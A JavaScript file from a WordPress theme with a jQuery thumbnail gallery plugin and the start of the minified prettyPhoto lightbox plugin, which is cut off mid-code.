/*
	Javascript and jQuery plugins

*/
/**
 * Horizontal Thumbnail Style Gallery plugin for jQuery
 * Copyright (c) 2010 Allan Ma (http://codecanyon.net/user/webtako)
 * Version: 1.1 (06/05/2010)
 */
 
(function($) {
	$.fn.wtGallery = function(params) {

		var DELAY = 100;
		var siteurl = 'http://envisioniv.com/wp-content/themes/envision/';
		
		var TRANSITIONS = new Array(15);		
		TRANSITIONS["fade"] 		= 0;		
		TRANSITIONS["vert_tl"] 		= 1;
		TRANSITIONS["vert_tr"] 		= 2;
		TRANSITIONS["vert_bl"] 		= 3;
		TRANSITIONS["vert_br"]  	= 4;		
		TRANSITIONS["horz_tl"] 		= 5;
		TRANSITIONS["horz_tr"] 		= 6;		
		TRANSITIONS["horz_bl"] 		= 7;
		TRANSITIONS["horz_br"]  	= 8;				
		TRANSITIONS["top_fade"] 	= 9;
		TRANSITIONS["right_fade"]	= 10;		
		TRANSITIONS["bottom_fade"]	= 11;
		TRANSITIONS["left_fade"] 	= 12;				
		TRANSITIONS["random"]	    = 13;
		TRANSITIONS["none"] 		= 14;
		
		//Stripes Class
		function Stripes(rotator, w, h, size, bgColor, transSpeed) {
			var areaWidth = w;
			var areaHeight = h;
			var stripeSize = size;
			var horzArr;
			var vertArr;
			var $horzStripes;
			var $vertStripes;
			var intervalId = null;
			
			//init stripes
			var initStripes = function() {			
				vertArr = new Array(Math.ceil(areaWidth/stripeSize));
				horzArr = new Array(Math.ceil(areaHeight/stripeSize));
				
				var divs = "";
				for (var i = 0; i < vertArr.length; i++) {
					divs += "<div class='vpiece' id='" + i + "'></div>";
				}	
				for (var j = 0; j < horzArr.length; j++) {
					divs += "<div class='hpiece' id='" + j + "'></div>";
				}
				
				rotator.addToScreen(divs);
				$vertStripes = $("div.vpiece", rotator.$el);
				$horzStripes = $("div.hpiece", rotator.$el);
				
				$vertStripes.each(
					function(n) {
						vertArr[n] = $(this).css({left: (n * stripeSize), 
													 width: stripeSize, 
													 height: areaHeight});
					}
				);				
				$horzStripes.each(
					function(n) {
						horzArr[n] = $(this).css({top: (n * stripeSize), 
													width: areaWidth,
													height: stripeSize});
					}							 
				);
			}

			//clear animation
			this.clear = function() {
				clearInterval(intervalId);
				$horzStripes.stop().css({opacity:0});
				$vertStripes.stop().css({opacity:0});
			}

			//display content
			this.displayContent = function(newImg, trans) {
				setPieces(newImg, trans);
				animate(newImg, trans);
			}			
			
			//set image stripes
			var setPieces = function(newImg, trans) {
				if (trans == TRANSITIONS["vert_tl"] || 
					trans == TRANSITIONS["vert_tr"]) {
					setVerticalPieces(newImg, -areaHeight);
				}
				else if (trans == TRANSITIONS["vert_bl"] || 
						 trans == TRANSITIONS["vert_br"]) {
					setVerticalPieces(newImg, areaHeight);
				}
				else if (trans == TRANSITIONS["left_fade"] || 
						 trans == TRANSITIONS["right_fade"]) {
					setVerticalPieces(newImg, 0);
				}
				else if (trans == TRANSITIONS["horz_tr"] || 
						 trans == TRANSITIONS["horz_br"]) {
					setHorizontalPieces(newImg, areaWidth);
				}
				else if (trans == TRANSITIONS["horz_tl"] || 
						 trans == TRANSITIONS["horz_bl"]) {
					setHorizontalPieces(newImg, -areaWidth);					
				}
				else {
					setHorizontalPieces(newImg, 0);					
				}
			}
			
			//set vertical stripes
			var setVerticalPieces = function(newImg, topPos) {
				var newImgSrc = newImg.src;
				var tOffset = (areaHeight - newImg.height)/2;
				var lOffset = (areaWidth - newImg.width)/2;
				for (var i = 0; i < vertArr.length; i++) {		
					var xPos =  ((-i * stripeSize) + lOffset);
					$(vertArr[i]).css({
							"background":bgColor + " url('"+ newImgSrc +"') " + 
							xPos + "px " + tOffset + "px no-repeat",
							"backgroundPositionX":xPos + "px",
							"backgroundPositionY":tOffset + "px",
							opacity:0, top:topPos});						
				}
			}
			
			//set horizontal stripes
			var setHorizontalPieces = function(newImg, leftPos) {
				var newImgSrc = newImg.src;
				var tOffset = (areaHeight - newImg.height)/2;
				var lOffset = (areaWidth - newImg.width)/2;
				for (var i = 0; i < horzArr.length; i++) {			
					var yPos = ((-i * stripeSize) + tOffset);
					$(horzArr[i]).css({
							"background":bgColor + " url('"+ newImgSrc +"') " + 
							lOffset + "px " + yPos  + "px no-repeat",
							"backgroundPositionX":lOffset  + "px",
							"backgroundPositionY":yPos + "px",
							opacity:0, left:leftPos});			  
				}
			}
			
			//animate stripes
			var animate = function(newImg, trans) {
				var lastVert = vertArr.length - 1;
				var lastHorz = horzArr.length - 1;
				var delay = 0;
				if (trans == TRANSITIONS["vert_tl"] || trans == TRANSITIONS["vert_bl"] || 
					trans == TRANSITIONS["left_fade"]) {
					var i = 0;
					intervalId = setInterval(
						function() {
							$(vertArr[i++]).animate({top: 0, opacity:1}, transSpeed, "",
								function() {
									if ($(this).attr("id") == lastVert) {
										rotator.setMainImg(newImg);
									}
								}
							);
		
							if (i == vertArr.length) {
								clearInterval(intervalId);
							}
						}, DELAY);									
				}
				else if (trans == TRANSITIONS["vert_tr"] || trans == TRANSITIONS["vert_br"] || 
						 trans == TRANSITIONS["right_fade"]) {
					var i = lastVert;
					intervalId = setInterval(
						function() {
							$(vertArr[i--]).animate({top: 0, opacity:1}, transSpeed, "",
								function() {
									if ($(this).attr("id") == 0) {
										rotator.setMainImg(newImg);
									}
								}
							);
		
							if (i < 0) {
								clearInterval(intervalId);
							}
						}, DELAY);
				}
				else if (trans == TRANSITIONS["horz_tl"] || trans == TRANSITIONS["horz_tr"] || 
						 trans == TRANSITIONS["top_fade"]) {
					var i = 0;
					intervalId = setInterval(
						function() {
							$(horzArr[i++]).animate({left: 0, opacity:1}, transSpeed, "",
								function() {
									if ($(this).attr("id") == lastHorz) {
										rotator.setMainImg(newImg);
									}
								}
							);
		
							if (i == horzArr.length) {
								clearInterval(intervalId);
							}
						}, DELAY);
				}
				else {
					var i = lastHorz;
					intervalId = setInterval(
						function() {
							$(horzArr[i--]).animate({left: 0, opacity:1}, transSpeed, "",
								function() {
									if ($(this).attr("id") == 0) {
										rotator.setMainImg(newImg);
									}
								}
							);
		
							if (i < 0) {
								clearInterval(intervalId);
							}
						}, DELAY);
				}
			}
			
			initStripes();
		}
		
		//Gallery Class
		function Gallery($obj, opts) {
			//set options
			var numDisplay = opts.num_display;
			var padding = opts.padding;
			var screenWidth = opts.screen_width;
			var screenHeight = opts.screen_height;
			var thumbWidth = opts.thumb_width;
			var thumbHeight = opts.thumb_height;
			var thumbMargin = opts.thumb_margin;
			var displayImageNav = opts.image_nav;
			var displayInfoPane = opts.info_pane;
			var displayThumbNav = opts.thumb_nav;
			var displayPagination = opts.pagination;
			var descAlign = opts.text_pane_align;
			var bgColor = opts.background_color;
			var winColor = opts.window_color;
			var border = opts.border;
			var rotate = opts.auto_rotate;
			var delay = opts.delay > 0 ? opts.delay * 1000 : 5000;
			var triggerStop = opts.trigger_stop;
			var stripeSize = opts.segment_size > 0 ? opts.segment_size : 30;
			var gTransNum = TRANSITIONS[opts.transition.toLowerCase()];
			if (gTransNum == undefined) {
				gTransNum = TRANSITIONS["fade"];
			}
			var transSpeed = opts.transition_speed;
			if (typeof transSpeed == "string") {
				transSpeed = transSpeed.toLowerCase();
			}
			else {
				transSpeed = Number(transSpeed);
				if (!isNaN(transSpeed) && transSpeed > 0) {
					transSpeed *= 1000;
				}
				else {
					transSpeed = "slow";
				}
			}

			var numThumbs = 0;
			var unitSize = 0;
			var backSlots = 0;
			var fwdSlots = 0;
			var numSlots = 0;	
			var currIndex = 0;
			var pos = 0;	
			var imgPaths;
			var imgRel;
			var imgs;		
			var stripes;
			var transNum;	
			var timerId = null;
		
			var $gallery = $("div.wt-gallery", $obj);			   
			var $thumbnails = $("div.thumbnails", $obj);	
			var $mainScreen = $("div.main-screen", $obj);
			var $mainImg = $("#main-img", $obj);
			var $bgImg = $("#bg-img", $obj);
			var $desc = $("div.desc", $obj);
			var $tmpDesc = $("div.tmp-desc", $obj);
			var $info = $("div.info-pane", $obj);
			var $cPanel = $("div.c-panel", $obj);
			var $pagination = $("div.pagination", $obj);
			var $prevBtn = $("#prev-btn", $obj);
			var $nextBtn = $("#next-btn", $obj);
			var $preloader = $("div.preloader", $obj);
			var $thumbsBack = $("#thumbs-back", $obj);
			var $thumbsFwd = $("#thumbs-fwd", $obj);
			
			this.$el = $obj;
			
			this.init = function() {
				numThumbs = $thumbnails.find("li").size();
				
				if (numThumbs < numDisplay) {
					numDisplay = numThumbs;
				}
				
				numSlots = numThumbs - numDisplay;
				backSlots = 0;
				fwdSlots = numSlots;
						
				//config main screen window
				$mainScreen.css({width:screenWidth, height:screenHeight, 
								 "background-color":winColor, border:border});
				
				//config text description pane
				if (descAlign == "bottom") {
					$desc.css({bottom:0, padding:5});
					$info.css({top:0});
				}
				else {
					$desc.css({top:0, padding:5});
					$info.css({top:screenHeight - $info.outerHeight()});
				}
				
				$mainImg.css("background-color", winColor);
				$bgImg.css("background-color", winColor);
				
				var descPadding = $desc.outerWidth() - $desc.width();
				$desc.css({width:screenWidth - descPadding});
				$tmpDesc.css({width:screenWidth - descPadding});
				
				//config image nav buttons
				if (!displayImageNav) {
					$prevBtn.css({display:"none"});
					$nextBtn.css({display:"none"});
				}
				
				//config info pane
				if (!displayInfoPane) {
					$info.css({display:"none"});
				}
				else {
					var infoPadding = $info.outerWidth() - $info.width();
					$info.width(screenWidth - infoPadding);	
				}
				
				//config preloader	
				$preloader.css({top: (screenHeight - $preloader.outerHeight())/2, 
								left:(screenWidth -  $preloader.outerWidth())/2});
				
				$prevBtn.css({top:(screenHeight - $prevBtn.height())/2});			  
				$nextBtn.css({top:(screenHeight - $nextBtn.height())/2});		
				
				//config thumbs
				$thumbnails.find("li div").css({width:thumbWidth, height:thumbHeight, 
												"background-color":winColor, border:border});
				$thumbnails.find("li").css({"margin-right":thumbMargin});
				unitSize = $thumbnails.find("li").outerWidth(true);
				$thumbnails.width((numDisplay * $thumbnails.find("li div").outerWidth()) + 
								  ((numDisplay - 1) * thumbMargin));
				$thumbnails.find("ul").width(numThumbs * unitSize);
				
				//config thumb nav buttons
				if (!displayThumbNav || numThumbs <= numDisplay) {
					$thumbsBack.css({display:"none"}).width(0);
					$thumbsFwd.css({display:"none"}).width(0);
				}
				else {
					var h = $thumbnails.find("li").outerHeight();
					var b = ($thumbnails.find("li div").outerHeight() - $thumbsFwd.find("img").height())/2;
					$thumbsBack.css({height:h}).find("img").css({bottom: b});
					$thumbsFwd.css({height:h}).find("img").css({bottom: b});
				}
				
				//config pagination
				if (!displayPagination || numThumbs <= numDisplay) {
					$pagination.css({display:"none"});
					$pagination.css({width:0, height:0, padding:0});
					displayPagination = false;
				}
					
				//config control panel	
				$cPanel.width($thumbnails.outerWidth() + $thumbsBack.outerWidth() + $thumbsFwd.outerWidth());
				$cPanel.height( $thumbnails.outerHeight() + $pagination.outerHeight());
				
				//config gallery 
				$gallery.css({"background-color":bgColor, padding:padding, border:border});
				if ($mainScreen.outerWidth() >= $cPanel.outerWidth()) {
					$gallery.css({width: $mainScreen.outerWidth(),
								  height:$mainScreen.outerHeight() + $cPanel.outerHeight()});
				}
				else {
					$gallery.css({width: $cPanel.outerWidth(),
								  height:$mainScreen.outerHeight() + $cPanel.outerHeight()});
				}
				
				//init navigation controls & event handlers
				if (displayPagination) {
					var numPage = Math.ceil(numThumbs/numDisplay);
					var pageBtns = "";
					for (var i = 0; i < numPage; i++) {			
						pageBtns += "<img src='"+siteurl+"css/assets/circle.png' class='circle-btn'/>";
					}
					$pagination.append(pageBtns);			
					$pagination.find(".circle-btn").click(moveToPage);
				}
				
				$thumbnails.find("li").click(
					function(e) {
						stopTimer(triggerStop);
						currIndex = $(this).index();
						loadContent(currIndex);
						return false;
					}
				);
			
				$thumbnails.find("li div").hover(
					function(e) {
						$(this).addClass("thumb-over");
					},
					function(e) {
						$(this).removeClass("thumb-over");
					}
				);
				
				$mainScreen.hover(
					function(e) {
						$prevBtn.stop().animate({left:0}, "normal");
						$nextBtn.stop().animate({right:0}, "normal");
					},
					function(e) {
						$prevBtn.stop().animate({left:-$prevBtn.width()}, "normal");
						$nextBtn.stop().animate({right:-$nextBtn.width()}, "normal");
					}
				);
				
				$nextBtn.click(imgFwd);
				$prevBtn.click(imgBack);
				$thumbsFwd.find("img").click(thumbsFwd);		
				$thumbsBack.find("img").click(thumbsBack);
				
				$(document).keypress(
					function(e) {
						if (e.keyCode == 39) {
							imgFwd();
						}
						else if (e.keyCode == 37) {
							imgBack();
						}
					}
				);
				
				//init stripes
				stripes =  new Stripes(this, screenWidth, screenHeight, stripeSize, winColor, transSpeed);
				
				//init image loading
				initImgLoad();
				
				//display initial image
				loadContent(currIndex);
				updatePagination();
				
				//custom added callback function/variable
				if ($.isFunction(opts.callback)){
					opts.callback.apply(this);
				}
			}
			
			//set main image
			this.setMainImg = function(newImg) {
				setImgPadding(newImg);
				$mainImg.attr("src", newImg.src);
				startTimer();
			}
			
			//add to screen
			this.addToScreen = function(s) {
				$mainScreen.find(">a:first").append(s);
			}
			
			//move main image back
			var imgBack = function() {
				stopTimer(triggerStop);
				currIndex = (currIndex > 0) ? currIndex - 1 : (numThumbs - 1);
				loadContent(currIndex);	
				moveThumbs(currIndex);
			}
			
			//move main image forward
			var imgFwd = function() {
				stopTimer(triggerStop);
				currIndex = (currIndex < numThumbs - 1) ? currIndex + 1 : 0;
				loadContent(currIndex);
				moveThumbs(currIndex);
			}
			
			//move thumbs back
			var thumbsBack = function() {
				if (triggerStop) {
					stopTimer(true);
				}
				
				if (fwdSlots < numSlots) {
					var numBack = numSlots - fwdSlots;
					if (numBack >= numDisplay) {
						numBack = numDisplay;
					}
					
					fwdSlots += numBack;
					backSlots -= numBack;
					pos += numBack * unitSize;
				}
				else {
					fwdSlots = 0;
					backSlots = numSlots;
					pos = -numSlots * unitSize;
				}
				
				$thumbnails.find("ul").stop().animate({left: pos}, "slow");
				updatePagination();
			}
				
			//move thumbs forward
			var thumbsFwd = function() {
				if (triggerStop) {
					stopTimer(true);
				}
				
				if (backSlots < numSlots) {
					var numFwd = numSlots - backSlots;
					if (numFwd >= numDisplay) {
						numFwd = numDisplay;
					}
					
					backSlots += numFwd;
					fwdSlots -= numFwd;		
					pos -= numFwd * unitSize;	
				}
				else {
					backSlots = 0;
					fwdSlots = numSlots;		
					pos = 0;		
				}
				
				$thumbnails.find("ul").stop().animate({left: pos}, "slow");
				updatePagination();
			}
				
			//move thumbs by index
			var moveThumbs = function(thumbIndex) {
				var prevIndex = Math.abs(pos/unitSize);
				if (thumbIndex >= prevIndex && thumbIndex < prevIndex + numDisplay) {
					return;
				}
						
				if (thumbIndex < numSlots) {					
					backSlots = thumbIndex;
					fwdSlots = numSlots - thumbIndex;
					pos = -thumbIndex * unitSize;  						
				}
				else {
					backSlots = numSlots;
					fwdSlots = 0;
					pos = -numSlots * unitSize;
				}
				
				$thumbnails.find("ul").stop().animate({left: pos}, "slow");	
				updatePagination();
			}
				
			//update pagination buttons
			var  updatePagination = function() {
				var pageIndex = Math.ceil(backSlots/numDisplay);
				$pagination.find("img").attr("src", siteurl+"css/assets/circle.png");
				$pagination.find("img:nth-child(" + (pageIndex + 1) + ")").attr("src", siteurl+"css/assets/circlefill.png");
			}
			
			//go to page 
			var moveToPage = function() {		
				if (triggerStop) {
					stopTimer(true);
				}
				
				var pageIndex = $(this).index();
				
				var numFwd = pageIndex * numDisplay;
				if (numFwd >= numSlots) {
					numFwd = numSlots;
				}			
				
				backSlots = numFwd;
				fwdSlots = numSlots - numFwd;
				pos = -numFwd * unitSize;	
				
				$thumbnails.find("ul").stop().animate({left: pos}, "slow");
				updatePagination();
			}
				
			//rotate image
			var rotateImage = function() {
				stopTimer(false);
				currIndex = (currIndex < numThumbs - 1) ? currIndex + 1 : 0;
				loadContent(currIndex);
				moveThumbs(currIndex);
			}
			
			//update description
			var updateDesc = function(desc) {
				$tmpDesc.html(desc);	
				var descH = $tmpDesc.height();
				$desc.html("");		
				
				var offset = (descH != 0) ? 0 : $desc.height() - $desc.outerHeight();			
				if (descAlign == "top") {
					$desc.stop().animate({height:descH, top:offset}, "slow", 
						function () {  
							$(this).html(desc);
						}
					);  
				}
				else {
					$desc.stop().animate({height:descH, bottom:offset}, "slow", 
						function () {  
							$(this).html(desc);
						}
					);  				
				}
			}
			
			//load content
			var loadContent = function(i) {
				//get selected thumb's properties
				var $thumb = $thumbnails.find("li:nth-child(" + (i+1) + ")");
				var desc = $thumb.find(">p").html();
				var urlLink = $thumb.find(">a").attr("href");
				var urlRel = $thumb.find(">a").attr("rel");
				var imgTrans = $thumb.attr("trans");
				transNum = (imgTrans == undefined || TRANSITIONS[imgTrans] == undefined) ? 
							gTransNum :TRANSITIONS[imgTrans];
				
				$thumbnails.find("li").removeClass("curr-thumb");				
				$thumb.addClass("curr-thumb");
				
				//update info panel
				$info.html((i+1) + " / " + numThumbs);
			
				//update link
				if (urlLink != undefined) {
					$mainScreen.find("a").attr("href", urlLink).attr("rel", urlRel);
				}
				else {
					$mainScreen.find("a").attr("href", "#");
				}
				
				//update description
				updateDesc(desc);
				
				if (imgs[i]) {
					$preloader.hide();
					//display stored image	
					displayContent(imgs[i]);
				}	
				else {	
					//load new image
					var currImg = new Image();		
					$(currImg).attr("src", imgPaths[i]).attr("rel", imgRel[i]);
					if (!currImg.complete) {
						$preloader.show();
						$(currImg).load(
							function() {
								$preloader.hide();
								imgs[i] = jQuery.extend(true, {}, this);	
								displayContent(currImg);
							}
						).error(
							function() {
								alert("Error loading image");
							}
						);
					}
					else {
						$preloader.hide();
						imgs[i] = jQuery.extend(true, {}, currImg);
						displayContent(imgs[i]);
					}
				}	    
			}
				
			//display image
			var displayContent = function(newImg) {
				stripes.clear();
				
				if (transNum == TRANSITIONS["random"]) {
					transNum = Math.floor(Math.random() * (TRANSITIONS.length - 2));
				}
				
				if (transNum == TRANSITIONS["none"]) {
					showContent(newImg);
				}
				else if (transNum == TRANSITIONS["fade"]) {
					fadeInContent(newImg);
				}
				else {
					stripes.displayContent(newImg, transNum);
				}
			}
			
			//display image (no transition)
			var showContent = function(newImg) {
				setImgPadding(newImg);
					
				$mainImg.attr("src", newImg.src).show(0, 
					function() {
						startTimer();
					}
				);	
			}
			
			//display image (fade transition)
			var fadeInContent = function(newImg) {
				$bgImg.css({top:$mainImg.css("top"), 
							left:$mainImg.css("left"),
							"padding-top":$mainImg.css("padding-top"), 
							"padding-bottom":$mainImg.css("padding-bottom"),								  							  					"padding-left":$mainImg.css("padding-left"), 
							"padding-right":$mainImg.css("padding-right")})
							.attr("src", $mainImg.attr("src")).show();
		
				$mainImg.hide();	
				setImgPadding(newImg);
				$mainImg.attr("src", newImg.src).fadeIn(transSpeed, 
					function() {				
						startTimer();
					}
				);	
			}
			
			//adjust image padding
			var setImgPadding = function(newImg) {
				var tMargin = (screenHeight - newImg.height)/2;
				var lMargin = (screenWidth  - newImg.width)/2
				var top = 0;
				var left = 0;
				var vertPadding = 0;
				var horzPadding = 0;
				
				if (tMargin > 0) {
					vertPadding = tMargin;
				}
				else if (tMargin < 0) {
					top = tMargin;
				}
				
				if (lMargin > 0) {
					horzPadding = lMargin;
				}
				else if (lMargin < 0) {
					left = lMargin;
				}
				
				$mainImg.css({top:top, left:left, 
							  "padding-top":vertPadding, "padding-bottom":vertPadding,
							  "padding-left":horzPadding, "padding-right":horzPadding});	
			}
		
			//init image loading
			var initImgLoad = function() {
				imgs = new Array(numThumbs);
				imgPaths = new Array(numThumbs);
				imgRel = new Array(numThumbs);
				
				//init image paths
				$thumbnails.find("li").each(
					function(n){
						imgPaths[n] = $(this).find(">div>a").attr("href");
						imgRel[n] = $(this).find(">div>a").attr("rel");
					}
				);
				
				//start image loading		
				var loadIndex = 0;
				var img = new Image();
				$(img).attr("src", imgPaths[loadIndex]).attr("rel", imgRel[loadIndex]);
				
				//load image complete/error event handler
				$(img).load(
					function() {
						imgs[loadIndex] = jQuery.extend(true, {}, this);	
						
						loadIndex++
						if (loadIndex < imgPaths.length) {
							$(this).attr("src", imgPaths[loadIndex]).attr("rel", imgRel[loadIndex]);
						}
					}).error(function() {
						//error loading image, continue next
						loadIndex++
						if (loadIndex < imgPaths.length) {
							$(this).attr("src", imgPaths[loadIndex]).attr("rel", imgRel[loadIndex]);
						}
					}
				);
			}
				
			//start timer
			var startTimer = function() {
				if (rotate && timerId == null) {
					timerId = setTimeout(rotateImage, delay);
				}
			}
			
			//stop timer
			var stopTimer = function(permStop) {
				clearTimeout(timerId);
				timerId = null;
				if (permStop) {
					rotate = false;
				}
			}
			
			//thumb images onload
			$thumbnails.find("img").load(
				function() {
					var $thumbDiv = $thumbnails.find("div");
					$(this).css({
						left:($thumbDiv.width() - $(this).width())/2,
						top: ($thumbDiv.height() - $(this).height())/2
					});
				}
			);
		}
				
		var defaults = { 
			num_display:4,
			background_color:"#EEEEEE",
			window_color:"#333333",
			padding:10,			
			screen_width:575,
			screen_height:323,
			thumb_width:125,
			thumb_height:70,
			thumb_margin:5,			
			text_pane_align:"top",	
			auto_rotate:true,
			delay:5,
			trigger_stop:false,
			border:"1px solid #222222",
			image_nav:true,			
			info_pane:true,		
			thumb_nav:true,
			pagination:true,
			transition:"fade",
			transition_speed:"slow",
			segment_size:30,
			callback:null
		};
		
		var opts = $.extend({}, defaults, params);		
		return this.each(
			function() {
				var gallery = new Gallery($(this), opts);
				gallery.init();
			}
		);
	}
})(jQuery);

/* ------------------------------------------------------------------------
 * 	Class: prettyPhoto
 * 	Use: Lightbox clone for jQuery
 * 	Author: Stephane Caron (http://www.no-margin-for-errors.com)
 * 	Version: 2.5.6
 ------------------------------------------------------------------------- */

(function($){$.prettyPhoto={version:'2.5.6'};$.fn.prettyPhoto=function(settings){settings=jQuery.extend({animationSpeed:'normal',opacity:0.80,showTitle:true,allowresize:true,default_width:500,default_height:344,counter_separator_label:'/',theme:'light_rounded',hideflash:false,wmode:'opaque',autoplay:true,modal:false,changepicturecallback:function(){},callback:function(){},markup:'<div class="pp_pic_holder"> \
      <div class="pp_top"> \
       <div class="pp_left"></div> \
       <div class="pp_middle"></div> \
       <div class="pp_right"></div> \
      </div> \
      <div class="pp_content_container"> \
       <div class="pp_left"> \
       <div class="pp_right"> \
        <div class="pp_content"> \
         <div class="pp_loaderIcon"></div> \
         <div class="pp_fade"> \
          <a href="#" class="pp_expand" title="Expand the image">Expand</a> \
          <div class="pp_hoverContainer"> \
           <a class="pp_next" href="#">next</a> \
           <a class="pp_previous" href="#">previous</a> \
          </div> \
          <div id="pp_full_res"></div> \
          <div class="pp_details clearfix"> \
           <a class="pp_close" href="#">Close</a> \
           <p class="pp_description"></p> \
           <div class="pp_nav"> \
            <a href="#" class="pp_arrow_previous">Previous</a> \
            <p class="currentTextHolder">0/0</p> \
            <a href="#" class="pp_arrow_next">Next</a> \
           </div> \
          </div> \
         </div> \
        </div> \
       </div> \
       </div> \
      </div> \
      <div class="pp_bottom"> \
       <div class="pp_left"></div> \
       <div class="pp_middle"></div> \
       <div class="pp_right"></div> \
      </div> \
     </div> \
     <div class="pp_overlay"></div> \
     <div class="ppt"></div>',image_markup:'<img id="fullResImage" src="" />',flash_markup:'<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="{width}" height="{height}"><param name="wmode" value="{wmode}" /><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="{path}" /><embed src="{path}" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="{width}" height="{height}" wmode="{wmode}"></embed></object>',quicktime_markup:'<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" codebase="http://www.apple.com/qtactivex/qtplugin.cab" height="{height}" width="{width}"><param name="src" value="{path}"><param name="autoplay" value="{autoplay}"><param name="type" value="video/quicktime"><embed src="{path}" height="{height}" width="{width}" autoplay="{autoplay}" type="video/quicktime" pluginspage="http://www.apple.com/quicktime/download/"></embed></object>',iframe_markup:'<iframe src ="{path}" width="{width}" height="{height}" frameborder="no"></iframe>',inline_markup:'<div class="pp_inline clearfix">{content}</div>'},settings);if($.browser.msie&&parseInt($.browser.version)==6){settings.theme="light_square";}
if($('.pp_overlay').size()==0)_buildOverlay();var doresize=true,percentBased=false,correctSizes,$pp_pic_holder,$ppt,$pp_overlay,pp_contentHeight,pp_contentWidth,pp_containerHeight,pp_containerWidth,windowHeight=$(window).height(),windowWidth=$(window).width(),setPosition=0,scrollPos=_getScroll();$(window).scroll(function(){scrollPos=_getScroll();_centerOverlay();_resizeOverlay();});$(window).resize(function(){_centerOverlay();_resizeOverlay();});$(document).keydown(function(e){if($pp_pic_holder.is(':visible'))
switch(e.keyCode){case 37:$.prettyPhoto.changePage('previous');break;case 39:$.prettyPhoto.changePage('next');break;case 27:if(!settings.modal)
$.prettyPhoto.close();break;};});$(this).each(function(){$(this).bind('click',function(){_self=this;theRel=$(this).attr('rel');galleryRegExp=/\[(?:.*)\]/;theGallery=galleryRegExp.exec(theRel);var images=new Array(),titles=new Array(),descriptions=new Array();if(theGallery){$('a[rel*='+theGallery+']').each(function(i){if($(this)[0]===$(_self)[0])setPosition=i;images.push($(this).attr('href'));titles.push($(this).find('img').attr('alt'));descriptions.push($(this).attr('title'));});}else{images=$(this).attr('href');titles=($(this).find('img').attr('alt'))?$(this).find('img').attr('alt'):'';descriptions=($(this).attr('title'))?$(this).attr('title'):'';}
$.prettyPhoto.open(images,titles,descriptions);return false;});});$.prettyPhoto.open=function(gallery_images,gallery_titles,gallery_descriptions){if($.browser.msie&&$.browser.version==6){$('select').css('visibility','hidden');};if(settings.hideflash)$('object,embed').css('visibility','hidden');images=$.makeArray(gallery_images);titles=$.makeArray(gallery_titles);descriptions=$.makeArray(gallery_descriptions);image_set=($(images).size()>0)?true:false;_checkPosition($(images).size());$('.pp_loaderIcon').show();$pp_overlay.show().fadeTo(settings.animationSpeed,settings.opacity);$pp_pic_holder.find('.currentTextHolder').text((setPosition+1)+settings.counter_separator_label+$(images).size());if(descriptions[setPosition]){$pp_pic_holder.find('.pp_description').show().html(unescape(descriptions[setPosition]));}else{$pp_pic_holder.find('.pp_description').hide().text('');};if(titles[setPosition]&&settings.showTitle){hasTitle=true;$ppt.html(unescape(titles[setPosition]));}else{hasTitle=false;};movie_width=(parseFloat(grab_param('width',images[setPosition])))?grab_param('width',images[setPosition]):settings.default_width.toString();movie_height=(parseFloat(grab_param('height',images[setPosition])))?grab_param('height',images[setPosition]):settings.default_height.toString();if(movie_width.indexOf('%')!=-1||movie_height.indexOf('%')!=-1){movie_height=parseFloat(($(window).height()*parseFloat(movie_height)/100)-100);movie_width=parseFloat(($(window).width()*parseFloat(movie_width)/100)-100);percentBased=true;}
$pp_pic_holder.fadeIn(function(){imgPreloader="";switch(_getFileType(images[setPosition])){case'image':imgPreloader=new Image();nextImage=new Image();if(image_set&&setPosition>$(images).size())nextImage.src=images[setPosition+1];prevImage=new Image();if(image_set&&images[setPosition-1])prevImage.src=images[setPosition-1];$pp_pic_holder.find('#pp_full_res')[0].innerHTML=settings.image_markup;$pp_pic_holder.find('#fullResImage').attr('src',images[setPosition]);imgPreloader.onload=function(){correctSizes=_fitToViewport(imgPreloader.width,imgPreloader.height);_showContent();};imgPreloader.onerror=function(){alert('Image cannot be loaded. Make sure the path is correct and image exist.');$.prettyPhoto.close();};imgPreloader.src=images[setPosition];break;case'youtube':correctSizes=_fitToViewport(movie_width,movie_height);movie='http://www.youtube.com/v/'+grab_param('v',images[setPosition]);if(settings.autoplay)movie+="&autoplay=1";toInject=settings.flash_markup.replace(/{width}/g,correctSizes['width']).replace(/{height}/g,correctSizes['height']).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,movie);break;case'vimeo':correctSizes=_fitToViewport(movie_width,movie_height);movie_id=images[setPosition];movie='http://vimeo.com/moogaloop.swf?clip_id='+movie_id.replace('http://vimeo.com/','');if(settings.autoplay)movie+="&autoplay=1";toInject=settings.flash_markup.replace(/{width}/g,correctSizes['width']).replace(/{height}/g,correctSizes['height']).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,movie);break;case'quicktime':correctSizes=_fitToViewport(movie_width,movie_height);correctSizes['height']+=15;correctSizes['contentHeight']+=15;correctSizes['containerHeight']+=15;toInject=settings.quicktime_markup.replace(/{width}/g,correctSizes['width']).replace(/{height}/g,correctSizes['height']).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,images[setPosition]).replace(/{autoplay}/g,settings.autoplay);break;case'flash':correctSizes=_fitToViewport(movie_width,movie_height);flash_vars=images[setPosition];flash_vars=flash_vars.substring(images[setPosition].indexOf('flashvars')+10,images[setPosition].length);filename=images[setPosition];filename=filename.substring(0,filename.indexOf('?'));toInject=settings.flash_markup.replace(/{width}/g,correctSizes['width']).replace(/{height}/g,correctSizes['height']).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,filename+'?'+flash_vars);break;case'iframe':correctSizes=_fitToViewport(movie_width,movie_height);frame_url=images[setPosition];frame_url=frame_url.substr(0,frame_url.indexOf('iframe')-1);toInject=settings.iframe_markup.replace(/{width}/g,correctSizes['width']).replace(/{height}/g,correctSizes['height']).replace(/{path}/g,frame_url);break;case'inline':myClone=$(images[setPosition]).clone().css({'width':settings.default_width}).wrapInner('<div id="pp_full_res"><div class="pp_inline 